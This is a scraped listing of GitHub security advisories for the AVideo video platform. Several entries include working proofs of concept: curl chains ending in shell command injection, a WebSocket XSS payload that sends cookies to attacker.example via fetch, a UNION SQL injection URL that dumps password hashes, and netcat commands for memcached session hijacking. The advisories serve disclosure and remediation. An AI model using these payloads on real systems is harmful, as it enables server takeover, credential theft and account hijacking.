-Infinity
0
Severity
10
EPSS
1.53%
OS Command Injection, Command Injection
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Summary

Multiple vulnerabilities in AVideo's CloneSite plugin chain together to allow a completely unauthenticated attacker to achieve remote code execution. The clones.json.php endpoint exposes clone secret keys without authentication, which can be used to trigger a full database dump via cloneServer.json.php. The dump contains admin password hashes stored as MD5, which are trivially crackable. With admin access, the attacker exploits an OS command injection in the rsync command construction in cloneClient.json.php to execute arbitrary system commands.

Details

Step 1: Clone Key Disclosure

plugin/CloneSite/clones.json.php:1-8 has zero authentication:

php <?php requireonce '../../videos/configuration.php'; requireonce $global['systemRootPath'] . 'plugin/CloneSite/Objects/Clones.php'; header('Content-Type: application/json'); $rows = Clones::getAll(); ?> {"data": <?php echo jsonencode($rows); ?>}

The response includes the key field for every registered clone, which is the sole authentication credential for clone operations.

Step 2: Database Dump via Stolen Key

plugin/CloneSite/cloneServer.json.php:73-97 — once the key passes Clones::thisURLCanCloneMe(), the server executes mysqldump and writes the result to a web-accessible directory:

php $cmd = "mysqldump -u {$mysqlUser} -p'{$mysqlPass}' --host {$mysqlHost} " ." --default-character-set=utf8mb4 {$mysqlDatabase} {$tablesList} > $sqlFile"; exec($cmd . " 2>&1", $output, $returnval);

The SQL file path is returned in the JSON response and is downloadable.

Step 3: Admin Credential Extraction

objects/user.php:1798 — passwords are stored as unsalted MD5:

php $passEncoded = md5($pass);

The users table in the dump contains user, password (MD5), and isAdmin fields. MD5 hashes crack in seconds.

Step 4: Command Injection via Rsync

plugin/CloneSite/cloneClient.json.php:259 — the videosDir from the clone server response is interpolated unsanitized into the rsync command:

php $rsync = "sshpass -p '{password}' rsync -av ... {$objClone->cloneSiteSSHUser}@{$objClone->cloneSiteSSHIP}:{$json->videosDir} ..."; exec($cmd . " 2>&1", $output, $returnval);

An admin who controls a clone server (or an attacker who has become admin) can inject arbitrary commands via the videosDir field.

PoC

bash Step 1: Steal clone keys (unauthenticated) curl -s 'http://target/plugin/CloneSite/clones.json.php' | jq '.data[0].key' Output: "a1b2c3d4e5f6..."

Step 2: Trigger database dump CLONEKEY="a1b2c3d4e5f6..." curl -s "http://target/plugin/CloneSite/cloneServer.json.php" \ --data "url=http://attacker.com&key=${CLONEKEY}&useRsync=0" | jq '.sqlFile' Output: "ClonemysqlDump1234567890.sql"

Step 3: Download the dump and extract admin credentials curl -s "http://target/videos/clones/ClonemysqlDump1234567890.sql" \ | grep -A2 "INSERT INTO.users" \ | grep -oP "admin','[a-f0-9]{32}" Output: admin','5f4dcc3b5aa765d61d8327deb882cf99 (MD5 of "password")

Step 4: Crack MD5 (trivial) echo -n "5f4dcc3b5aa765d61d8327deb882cf99" | hashcat -m 0 -a 0 rockyou.txt Output: password

Step 5: Login as admin, configure CloneSite with malicious server The attacker's clone server returns videosDir containing: /tmp$(id > /tmp/pwned) When rsync executes, the $(id) is evaluated by the shell

Impact

- Complete server compromise: Unauthenticated attacker achieves arbitrary command execution as the web server user - Full database disclosure: The entire database (users, videos, configurations, secrets) is exfiltrated - No user interaction: Every step is automated, no clicks or social engineering required - Credential theft: All user passwords (MD5) are trivially recoverable - Lateral movement: Database credentials and SSH credentials (stored encrypted in the plugins table) may enable access to other systems

Recommended Fix

1. Add authentication to clones.json.php: php // plugin/CloneSite/clones.json.php requireonce '../../videos/configuration.php'; if (!User::isAdmin()) { httpresponsecode(403); die(jsonencode(['error' => true, 'msg' => 'Admin required'])); }

2. Don't store SQL dumps in web-accessible directories — use a path outside the web root or require re-authentication to download.

3. Upgrade password hashing — replace MD5 with passwordhash() (bcrypt/argon2): php // Replace: $passEncoded = md5($pass); $passEncoded = passwordhash($pass, PASSWORDDEFAULT);

4. Sanitize rsync command parameters — use escapeshellarg() on all interpolated values: php $rsync = sprintf("rsync -av ... %s@%s:%s ...", escapeshellarg($objClone->cloneSiteSSHUser), escapeshellarg($objClone->cloneSiteSSHIP), escapeshellarg($json->videosDir) );

1 / 2
Source: GitHub
First published (updated )
Severity
10
Code Injection, XSS
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Summary

The YPTSocket plugin's WebSocket server relays attacker-supplied JSON message bodies to every connected client without sanitizing the msg or callback fields. On the client side, plugin/YPTSocket/script.js contains two eval() sinks fed directly by those relayed fields (json.msg.autoEvalCodeOnHTML at line 568 and json.callback at line 95). Because tokens are minted for anonymous visitors and never revalidated beyond decryption, an unauthenticated attacker can broadcast arbitrary JavaScript that executes in the origin of every currently-connected user (including administrators), resulting in universal account takeover, session theft, and privileged action execution.

Details

Token issuance is unauthenticated

plugin/YPTSocket/getWebSocket.json.php:11-21 returns a token to anyone whose request reaches the endpoint — the only check is that the plugin is enabled:

php if(!AVideoPlugin::isEnabledByName("YPTSocket")){ $obj->msg = "Socket plugin not enabled"; die(jsonencode($obj)); } $obj->error = false; $obj->webSocketToken = getEncryptedInfo(0); $obj->webSocketURL = YPTSocket::getWebSocketURL();

getEncryptedInfo() in plugin/YPTSocket/functions.php:3-16 populates fromusersid = User::getId() (0 for guests) and isAdmin = User::isAdmin() (false for guests). The issued token is accepted by the WebSocket server's onOpen handler (Message.php:44-52) solely by successful decryption — there is no requirement for the connecting principal to be authenticated.

Server relays attacker JSON verbatim

plugin/YPTSocket/Message.php:191-245 — the default branch of onMessage only rewrites fromidentification:

php public function onMessage(ConnectionInterface $from, $msg) { ... $json = jsondecode($msg); if (empty($json->webSocketToken)) { return false; } if (!$msgObj = getDecryptedInfo($json->webSocketToken)) { return false; }

switch ($json->msg) { ... default: $this->msgToArray($json); if (isset($json['fromidentification'])) { $json['fromidentification'] = striptags((string)($msgObj->username ?? '')); } ... } else { $this->msgToAll($from, $json); // broadcast } break; } }

msgToResourceId() at Message.php:297-310 copies the attacker-controlled callback and msg fields into the outbound payload:

php if (isset($msg['callback'])) { $obj['callback'] = $msg['callback']; // tainted ... } ... } else if (!empty($msg['msg'])) { $obj['msg'] = $msg['msg']; // tainted — entire object forwarded verbatim }

$obj is JSON-encoded at line 335 and sent to every connected client.

Client-side sink #1: autoEvalCodeOnHTML → eval

plugin/YPTSocket/script.js:163-169 (raw WebSocket transport) sets every inbound frame as yptSocketResponse and unconditionally calls parseSocketResponse():

js connWS.onmessage = function (e) { var json = JSON.parse(e.data); ... yptSocketResponse = json; parseSocketResponse(); ... };

parseSocketResponse() at script.js:545-569 reaches the sink:

js async function parseSocketResponse() { const json = yptSocketResponse; ... if (json.msg?.autoEvalCodeOnHTML !== undefined) { eval(json.msg.autoEvalCodeOnHTML); // <-- attacker-controlled } ... }

Client-side sink #2: json.callback → eval

plugin/YPTSocket/script.js:91-95 — processSocketJson() concatenates attacker-controlled json.callback into an eval'd string. This path is reachable on BOTH transports: the raw WebSocket branch (script.js:182) and the Socket.IO branch (script.js:339 via socket.on("message", (data) => { … processSocketJson(data) })):

js if (json.callback) { var code = "if (typeof " + json.callback + " == 'function') { myfunc = " + json.callback + "; } else { myfunc = defaultCallback; }"; socketLog('Executing callback:', json.callback); eval(code); ... }

Because json.callback is interpolated as raw source, a payload like alert(document.cookie);window.x breaks out of the typeof expression and executes during the condition evaluation.

PoC

Prerequisite: target is running AVideo with the YPTSocket plugin enabled (default on most installs).

Step 1 — obtain a token anonymously (no cookies, no auth):

bash curl -s 'https://target.example/plugin/YPTSocket/getWebSocket.json.php'

Expected output (abbreviated): json {"error":false,"msg":"","webSocketToken":"<long encrypted token>","webSocketURL":"wss://target.example:8888/?webSocketToken=<token>&..."}

Step 2 — connect to the WebSocket endpoint using the returned webSocketURL. A minimal Node.js client:

js const WebSocket = require('ws'); const TOKEN = '<token from step 1>'; const URL = '<webSocketURL from step 1>'; const ws = new WebSocket(URL, { rejectUnauthorized: false });

ws.on('open', () => { // Payload 1 — primary sink (raw WebSocket transport): ws.send(JSON.stringify({ webSocketToken: TOKEN, msg: { autoEvalCodeOnHTML: "fetch('https://attacker.example/x?c='+encodeURIComponent(document.cookie));" + "alert('XSS as '+document.domain);" } }));

// Payload 2 — secondary sink (reaches both raw WS and Socket.IO clients): ws.send(JSON.stringify({ webSocketToken: TOKEN, msg: "p", callback: "alert(document.domain);window.x" })); });

Step 3 — observe impact. Every other user currently connected to the same AVideo instance (via any page that loads YPTSocket's script.js — the global footer, the admin dashboard, live streams, video pages) receives the broadcast. In their browser:

- Payload 1 reaches parseSocketResponse() at line 568 and evaluates eval(json.msg.autoEvalCodeOnHTML), firing the exfiltration request to attacker.example with document.cookie. - Payload 2 reaches processSocketJson() at line 95; the synthesized code string is if (typeof alert(document.domain);window.x == 'function') { ... }, which executes alert(document.domain) during the typeof evaluation.

Any administrator who is online at the moment of the broadcast has their session cookie exfiltrated and/or arbitrary actions performed in their browser context.

Impact

A single unauthenticated request and one WebSocket frame grants the attacker universal client-side code execution across every user currently connected to the target AVideo instance. Concretely:

- Session theft of every connected user, including administrators (note: HttpOnly does not help because the attacker's JS runs in-origin and can call privileged endpoints directly without ever reading cookies). - Privileged action execution on behalf of any admin who happens to be online — including plugin installation (GHSA-v8jw-8w5p-23g3 shows admin plugin ZIP upload is already an RCE primitive), user promotion/demotion, video deletion, configuration changes. - Stored cross-user JS persistence via localStorage, IndexedDB, or re-submitting the payload as a comment/title through admin credentials. - Financial redirection (payment flows, crypto-donation addresses) and phishing via arbitrary DOM rewriting of the authentic AVideo origin. - The scope change (S:C) is genuine: an unauthenticated (or low-privileged) attacker's actions cross the trust boundary into every other user's browser authorization context, including admin.

Recommended Fix

Multiple defense-in-depth layers are required:

1. Remove the client-side eval sinks entirely. plugin/YPTSocket/script.js:

diff - if (json.msg?.autoEvalCodeOnHTML !== undefined) { - eval(json.msg.autoEvalCodeOnHTML); - }

No legitimate server flow should push arbitrary JavaScript through a broadcast channel — if server-driven UI updates are needed, use structured data and predefined handler functions.

Replace the callback dispatch at lines 91-95 with a strict name-based lookup against a predefined allowlist:

diff - if (json.callback) { - var code = "if (typeof " + json.callback + " == 'function') { myfunc = " + json.callback + "; } else { myfunc = defaultCallback; }"; - eval(code); - ... - } else { - myfunc = defaultCallback; - } + var ALLOWEDCALLBACKS = ['socketNewConnection', 'socketDisconnection', / ... /]; + if (typeof json.callback === 'string' && ALLOWEDCALLBACKS.indexOf(json.callback) !== -1 + && typeof window[json.callback] === 'function') { + myfunc = window[json.callback]; + const event = new CustomEvent(json.callback, { detail: details }); + document.dispatchEvent(event); + } else { + myfunc = defaultCallback; + }

2. Server-side: allowlist keys on relayed msg objects. In plugin/YPTSocket/Message.php::onMessage() default branch, whitelist the fields permitted in relayed broadcasts rather than forwarding $msg['msg'] verbatim:

php // At top of default branch, after msgToArray: $ALLOWEDMSGKEYS = ['type', 'text', 'videosid', 'usersid', / ... /]; if (isset($json['msg']) && isarray($json['msg'])) { $json['msg'] = arrayintersectkey($json['msg'], arrayflip($ALLOWEDMSGKEYS)); } // Similarly sanitize callback: if (isset($json['callback']) && !pregmatch('/^[a-zA-Z][a-zA-Z0-9]$/', (string)$json['callback'])) { unset($json['callback']); }

3. Restrict token issuance and sender privileges. plugin/YPTSocket/getWebSocket.json.php should require authentication (or at least reject anonymous broadcast capability). Unprivileged senders should not be permitted to trigger msgToAll at all — the default branch of onMessage should require $msgObj->isAdmin (or equivalent) before allowing broadcasts, since there is no legitimate reason for arbitrary clients to originate system-wide messages.

1 / 2
Source: GitHub
First published (updated )
Severity
9.9
OS Command Injection, Command Injection
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

An OS command injection vulnerability exists in the aVideoEncoder chunkfile functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary command execution. An attacker can send an HTTP request to trigger this vulnerability.

First published (updated )
Severity
9.9
OS Command Injection, Command Injection
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

An os command injection vulnerability exists in the aVideoEncoder wget functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary command execution. An attacker can send an HTTP request to trigger this vulnerability.

First published (updated )
Severity
9.9
Path Traversal
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

A directory traversal vulnerability exists in the unzipDirectory functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary command execution. An attacker can send an HTTP request to trigger this vulnerability.

First published (updated )
Severity
9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

A local file inclusion vulnerability exists in the getLanguageFromBrowser functionality of WWBN AVideo dev master commit 15fed957fb. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can send a series of HTTP requests to trigger this vulnerability.

First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

An insufficient entropy vulnerability exists in the salt generation functionality of WWBN AVideo dev master commit 15fed957fb. A specially crafted series of HTTP requests can lead to privilege escalation. An attacker can gather system information via HTTP requests and bruteforce the salt offline, leading to forging a legitimate password recovery code for the admin user.

1 / 4
Source: GitHub
First published (updated )
Severity
9.8
EPSS
0.04%
Code Injection
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

An issue in WWBN AVideo v.12.4 through v.14.2 allows a remote attacker to execute arbitrary code via the systemRootPath parameter of the submitIndex.php component.

First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

An incomplete blacklist exists in the .htaccess sample of WWBN AVideo 14.4 and dev master commit 8a8954ff. A specially crafted HTTP request can lead to a arbitrary code execution. An attacker can request a .phar file to trigger this vulnerability.

First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

AVideo Platform 8.1 contains a cross-site request forgery vulnerability that allows attackers to reset user passwords by exploiting the password recovery mechanism. Attackers can craft malicious requests to the recoverPass endpoint using the user's recovery token to change account credentials without authentication.

First published (updated )
Severity
9.8
EPSS
0.03%
SQL Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Impact

An unauthenticated SQL Injection vulnerability exists in AVideo within the objects/videos.json.php and objects/video.php components.

The application fails to properly sanitize the catName parameter when it is supplied via a JSON-formatted POST request body. Because JSON input is parsed and merged into $REQUEST after global security checks are executed, the payload bypasses the existing sanitization mechanisms.

This allows an unauthenticated attacker to:

- Execute arbitrary SQL queries - Perform full database exfiltration - Extract sensitive data including administrator usernames, password hashes, session identifiers and user records - Potentially escalate privileges by cracking password hashes offline - Chain with authenticated vulnerabilities to achieve full system compromise

This vulnerability is classified as: - CWE-89: Improper Neutralization of Special Elements used in an SQL Command (SQL Injection)

Patches

This vulnerability has been fixed in version 23.

Users must upgrade to version 23 or later.

Workarounds

There is no reliable workaround.

The only recommended mitigation is to upgrade immediately to version 23 upon its release.

References

Internal security report.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
EPSS
0.11%
OS Command Injection, Command Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Impact

An unauthenticated attacker can execute arbitrary OS commands on the server by injecting shell command substitution into the base64Url GET parameter. This can lead to full server compromise, data exfiltration (e.g., configuration secrets, internal keys, credentials), and service disruption.

Root Cause

The base64Url parameter is Base64-decoded and then interpolated directly into a double-quoted ffmpeg shell command without proper shell escaping. The upstream validation uses FILTERVALIDATEURL, which validates URL syntax but does not prevent shell metacharacters / command substitution sequences from being interpreted by the shell.

Affected Components

objects/getImage.php objects/security.php Execution path via async command execution helper (shellexec/nohup)

Patches

Apply strict shell argument escaping (e.g., escapeshellarg()) to all user-supplied values before building any shell command, and avoid double-quoted interpolation of untrusted input. Prefer safer process execution patterns where possible.

Workarounds

Restrict access to objects/getImage.php at the web server / reverse proxy layer (IP allowlist, auth, or disable endpoint if not needed). Apply WAF rules to block suspicious patterns and limit exposure until a patch is deployed.

Resources

Report: "Unauthenticated OS Command Injection in AVideo-Encoder"

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
EPSS
0.06%
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary The official docker-compose.yml publishes the memcached service on host port 11211 (0.0.0.0:11211) with no authentication, while the Dockerfile configures PHP to store all user sessions in that memcached instance. An attacker who can reach port 11211 can read, modify, or flush session data — enabling session hijacking, admin impersonation, and mass session destruction without any application-level authentication.

Severity High (CVSS 3.1: 8.1)

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

- Attack Vector: Network — docker-compose.yml binds memcached to 0.0.0.0:11211 on the host - Attack Complexity: High — exploitation requires port 11211 to be network-reachable, which depends on external firewall/security group configuration beyond the attacker's control - Privileges Required: None — memcached has no authentication mechanism enabled - User Interaction: None - Scope: Unchanged — impact is to the AVideo application's session management - Confidentiality Impact: High — session data includes user IDs, admin flags, email addresses, and password hashes - Integrity Impact: High — an attacker can modify session data to inject admin privileges or impersonate any user - Availability Impact: High — flushall destroys all active sessions, forcing mass logout

Affected Component - docker-compose.yml — memcached service ports directive (line 203) - Dockerfile — PHP session configuration (lines 150-151)

CWE - CWE-668: Exposure of Resource to Wrong Sphere - CWE-287: Improper Authentication (memcached has no authentication)

Description

Memcached port unnecessarily published to host network

The docker-compose.yml publishes the memcached port to the Docker host's network interface:

yaml docker-compose.yml — lines 192-213 memcached: image: memcached:alpine restart: unless-stopped command: > memcached -m 512 -c 2048 -t ${NPROC:-4} -R 200 ports: - "${MEMCACHEPORT:-11211}:11211" # <-- Exposes to 0.0.0.0:11211 networks: - appnet

The memcached command has no authentication flags: - No -S flag (SASL authentication) - No -l 127.0.0.1 flag (interface binding restriction)

The default env.example reinforces this port: MEMCACHEPORT=11211

PHP sessions stored entirely in memcached

The Dockerfile configures PHP to use memcached as the session store:

ini ; Dockerfile — lines 150-151 session.savehandler = memcached session.savepath = "memcached:11211?persistent=1&timeout=2&retryinterval=5"

Session data contains all authentication state

The application stores complete authentication state in sessions. From objects/user.php:

php // user.php:1521 — login check $isLogged = !empty($SESSION['user']['id']);

// user.php:1544 — admin check return !empty($SESSION['user']['isAdmin']);

Session data includes: user ID, email, username, password hash, admin flag, channel name, photo URL, and email verification status (user.php lines 329-733). All of this is readable and writable via the exposed memcached port.

Inconsistent defense: database services are correctly internal-only

The docker-compose.yml demonstrates awareness of proper service isolation — both database services have NO ports: directive:

yaml docker-compose.yml — database service (lines 136-163) database: build: context: . dockerfile: Dockerfile.mariadb # ... NO ports: directive — internal only networks: - appnet

docker-compose.yml — databaseencoder service (lines 165-189) databaseencoder: build: context: . dockerfile: Dockerfile.mariadb # ... NO ports: directive — internal only networks: - appnet

Both databases are only reachable via the internal appnet Docker network. Memcached — which stores equally sensitive session data — should follow the same pattern but does not. This inconsistency confirms the exposure is an oversight, not a design choice.

Port exposure map

| Service | Ports published to host | Contains sensitive data | Exposure justified | |---------|------------------------|------------------------|--------------------| | avideo | 80, 443, 2053 | N/A (web server) | Yes — serves web traffic | | live | 1935, 8080, 8443 | N/A (streaming) | Yes — serves RTMP/HLS | | database | None | Yes (all app data) | Correct — internal only | | databaseencoder | None | Yes (encoder data) | Correct — internal only | | memcached | 11211 | Yes (all sessions) | No — should be internal only |

Execution chain

1. Attacker scans the target host and discovers port 11211 is open 2. Attacker connects with nc TARGET 11211 or any memcached client — no authentication required 3. Attacker runs stats items to enumerate session slab classes 4. Attacker runs stats cachedump <slabid> <limit> to list session keys 5. Attacker runs get <sessionkey> to read serialized PHP session data containing user IDs, admin flags, and password hashes 6. Attacker either: - Hijacks a session: uses the session ID as a cookie to impersonate the user - Escalates privileges: modifies session data to set isAdmin to true via set <sessionkey> - Performs DoS: runs flushall to destroy all sessions

Proof of Concept

bash 1. Verify memcached is reachable (returns server stats) echo -e "stats\r" | nc TARGET 11211

2. Enumerate session keys echo -e "stats items\r" | nc TARGET 11211 Then for each slab: echo -e "stats cachedump 1 100\r" | nc TARGET 11211

3. Read a session (key format: memc.sess.key.<sessionid>) echo -e "get memc.sess.key.abc123sessionid\r" | nc TARGET 11211 Returns serialized PHP session with user data, admin flag, etc.

4. DoS — destroy all sessions (logs out every user) echo -e "flushall\r" | nc TARGET 11211

For session hijacking, extract the session ID from step 3 and set it as the PHPSESSID cookie in a browser to impersonate the victim user.

Impact

- Session hijacking: Read any user's session data and impersonate them by reusing their session ID — including admin accounts - Privilege escalation: Modify session data to set $SESSION['user']['isAdmin'] to a truthy value, granting admin access to any session - Credential exposure: Session data includes password hashes ($SESSION['user']['passhash'], user.php:555) that can be cracked offline - Mass session destruction: flushall destroys all active sessions, forcing every logged-in user to re-authenticate — a one-command denial of service - Reconnaissance: stats reveals server uptime, memory usage, connection counts, and cache hit/miss ratios

Recommended Remediation

Option 1: Remove the port mapping (preferred — one-line fix)

Memcached is only used internally by the PHP application via Docker networking. Remove the ports: directive entirely:

yaml docker-compose.yml — memcached service memcached: image: memcached:alpine restart: unless-stopped command: > memcached -m 512 -c 2048 -t ${NPROC:-4} -R 200 # REMOVED: ports: # - "${MEMCACHEPORT:-11211}:11211" deploy: resources: limits: cpus: '1' memory: "4G" reservations: cpus: '0.5' memory: '1G' networks: - appnet

Also remove MEMCACHEPORT=11211 from env.example since the port is no longer published.

The PHP application connects via the Docker internal hostname memcached:11211 (from session.savepath), which uses the appnet bridge network and does not require host-level port mapping.

Option 2: Bind memcached to localhost only (if host access is needed for debugging)

If host-level access to memcached is needed for debugging, bind only to the loopback interface:

yaml ports: - "127.0.0.1:${MEMCACHEPORT:-11211}:11211"

This prevents remote access while allowing localhost:11211 connections from the Docker host.

Option 3: Enable SASL authentication (defense-in-depth)

Add SASL authentication to memcached as an additional layer:

yaml command: > memcached -m 512 -c 2048 -t ${NPROC:-4} -R 200 -S environment: MEMCACHEDUSERNAME: "${MEMCACHEDUSER:-avideo}" MEMCACHEDPASSWORD: "${MEMCACHEDPASSWORD}"

Update the PHP session configuration accordingly: ini session.savepath = "PERSISTENT=myapp avideo:${MEMCACHEDPASSWORD}@memcached:11211"

Note: Option 1 alone is sufficient and should be applied immediately. Options 2 and 3 provide defense-in-depth.

Credit This vulnerability was discovered and reported by bugbunny.ai.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
EPSS
0.03%
SQL Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

An unauthenticated SQL injection vulnerability exists in objects/category.php in the getAllCategories() method. The doNotShowCats request parameter is sanitized only by stripping single-quote characters (strreplace("'", '', ...)), but this is trivially bypassed using a backslash escape technique to shift SQL string boundaries. The parameter is not covered by any of the application's global input filters in objects/security.php.

Affected Component

File: objects/category.php, lines 386-394, inside method getAllCategories()

php if (!empty($REQUEST['doNotShowCats'])) { $doNotShowCats = $REQUEST['doNotShowCats']; if (!isarray($REQUEST['doNotShowCats'])) { $doNotShowCats = array($REQUEST['doNotShowCats']); } foreach ($doNotShowCats as $key => $value) { $doNotShowCats[$key] = strreplace("'", '', $value); // INSUFFICIENT } $sql .= " AND (c.cleanname NOT IN ('" . implode("', '", $doNotShowCats) . "') )"; }

Root Cause

1. Incomplete sanitization: The only defense is strreplace("'", '', $value), which strips single-quote characters. It does not strip backslashes (\). 2. No global filter coverage: The doNotShowCats parameter is absent from every filter list in objects/security.php ($securityFilter, $securityFilterInt, $securityRemoveSingleQuotes, $securityRemoveNonChars, $securityRemoveNonCharsStrict, $filterURL, and the id suffix pattern). 3. Direct string concatenation into SQL: The filtered values are concatenated into the SQL query via implode() instead of using parameterized queries.

Exploitation

MySQL, by default, treats the backslash (\) as an escape character inside string literals (unless NOBACKSLASHESCAPES SQL mode is enabled, which is uncommon). This allows a backslash in one array element to escape the closing single-quote that implode() adds, shifting the string boundary and turning the next array element into executable SQL.

Step-by-step:

1. The attacker sends: GET /categories.json.php?doNotShowCats[0]=\&doNotShowCats[1]=)%20OR%201=1)--%20-

2. After strreplace("'", '', ...), values are unchanged (no single quotes to strip): - Element 0: \ - Element 1: ) OR 1=1)-- -

3. After implode("', '", ...), the concatenated string is: \', ') OR 1=1)-- -

4. The full SQL becomes: sql AND (c.cleanname NOT IN ('\', ') OR 1=1)-- -') )

5. MySQL parses this as: - '\' — the \ escapes the next ', making it a literal quote character inside the string. The string continues. - , ' — the comma and space are part of the string. The next ' (which was the opening quote of element 1) closes the string. - String value = ', (three characters: quote, comma, space) - ) OR 1=1) — executable SQL. The first ) closes NOT IN (, the second ) closes the outer AND (. - -- - — SQL comment, discards the remainder ') )

Effective SQL: sql AND (c.cleanname NOT IN (', ') OR 1=1) This always evaluates to TRUE.

For data extraction (UNION-based):

GET /categories.json.php?doNotShowCats[0]=\&doNotShowCats[1]=))%20UNION%20SELECT%201,user,password,4,5,6,7,8,9,10,11,12,13,14%20FROM%20users--%20-

Produces: sql AND (c.cleanname NOT IN ('\', ')) UNION SELECT 1,user,password,4,5,6,7,8,9,10,11,12,13,14 FROM users-- -') )

This appends a UNION query that extracts usernames and password hashes from the users table. The attacker must match the column count of the original SELECT (determinable through iterative probing).

Impact

- Confidentiality: Full read access to the entire database, including user credentials, emails, private video metadata, API secrets, and plugin configuration. - Integrity: Ability to modify or delete any data in the database via stacked queries or subqueries (e.g., UPDATE users SET isAdmin=1). - Availability: Ability to drop tables or corrupt data. - Potential RCE: On MySQL configurations that allow SELECT ... INTO OUTFILE, the attacker could write a PHP web shell to the server's document root.

Suggested Fix

Replace the string concatenation with parameterized queries:

php if (!empty($REQUEST['doNotShowCats'])) { $doNotShowCats = $REQUEST['doNotShowCats']; if (!isarray($doNotShowCats)) { $doNotShowCats = array($doNotShowCats); } $placeholders = arrayfill(0, count($doNotShowCats), '?'); $formats = strrepeat('s', count($doNotShowCats)); $sql .= " AND (c.cleanname NOT IN (" . implode(',', $placeholders) . ") )"; // Pass $formats and $doNotShowCats to sqlDAL::readSql() as bind parameters }

Alternatively, use $global['mysqli']->realescapestring() on each value as a minimum fix, though parameterized queries are strongly preferred.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
OS Command Injection, XSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Impact:

An attacker could execute remote code on a system running wwbn/avideo

Step to Reproduce:

1. Go to the My Videos tab

https://demo.avideo.com/mvideos

2. Click "Embed a video link"

Append a command to the url as a query string. eg. ?whoami

then click Save

This issue has been resolved in commit 236228f15

1 / 2
First published (updated )
Severity
9.6
XSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

A cross-site scripting (xss) vulnerability exists in the functiongetOpenGraph videoName functionality of WWBN AVideo 11.6 and dev master commit 3c6bb3ff. A specially crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get a user to visit a webpage to trigger this vulnerability.

First published (updated )
Severity
9.6
XSS
AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

A cross-site scripting (xss) vulnerability exists in the LoginWordPress loginForm cancelUri parameter functionality of WWBN AVideo 14.4 and dev master commit 8a8954ff. A specially crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get a user to visit a webpage to trigger this vulnerability.

First published (updated )
Severity
9.6
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

A cross-site scripting (xss) vulnerability exists in the managerPlaylists PlaylistOwnerUsersId parameter functionality of WWBN AVideo 14.4 and dev master commit 8a8954ff. A specially crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get a user to visit a webpage to trigger this vulnerability.

First published (updated )
Severity
9.6
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

A cross-site scripting (xss) vulnerability exists in the userLogin cancelUri parameter functionality of WWBN AVideo 14.4 and dev master commit 8a8954ff. A specially crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get a user to visit a webpage to trigger this vulnerability.

First published (updated )
Severity
9.6
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

A cross-site scripting (xss) vulnerability exists in the videoNotFound 404ErrorMsg parameter functionality of WWBN AVideo 14.4 and dev master commit 8a8954ff. A specially crafted HTTP request can lead to arbitrary Javascript execution. An attacker can get a user to visit a webpage to trigger this vulnerability.

First published (updated )
Severity
9.6
XSS, SQL Injection, CSRF
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L

WWBN AVideo is an open source video platform. Versions prior to 29.0 contain a stored DOM Cross-Site Scripting vulnerability in the YPTSocket plugin. Any unauthenticated remote attacker can execute arbitrary JavaScript in the authenticated origin of every administrator currently viewing a page that renders the YPTSocket online-users debug panel. plugin/YPTSocket/getWebSocket.json.php issues a signed WebSocket token to any anonymous caller, and MessageSQLiteV2::onOpen at plugin/YPTSocket/MessageSQLiteV2.php lines 91 and 110 reads the attacker-controlled webSocketSelfURI and pagetitle query parameters from the WebSocket connection URL with no validation. Both values persist into the in-memory SQLite connections table and broadcast inside the usersidonline array sent to every connected client; on the client, plugin/YPTSocket/script.js::updateSocketUserCard interpolates the broadcast pagetitle into an HTML template literal that is passed to jQuery $.append(html), which parses attacker bytes into live DOM nodes including <img> with inline event handlers. Successful attackers can can read non-HttpOnly cookies and the CSRF token rendered into the admin dashboard, issue authenticated requests to any admin-only endpoint, exfiltrate the admin dashboard DOM, and chain into any admin-context mutation. When the victim is an AVideo administrator, the attacker turns a single anonymous WebSocket connection into full administrative takeover via the admin's own session. This issue has been patched by https://github.com/WWBN/AVideo/commit/8be71e53ccbe9b84b30870db386fb4d2b11e1c16.

First published (updated )
Severity
9.6
XSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

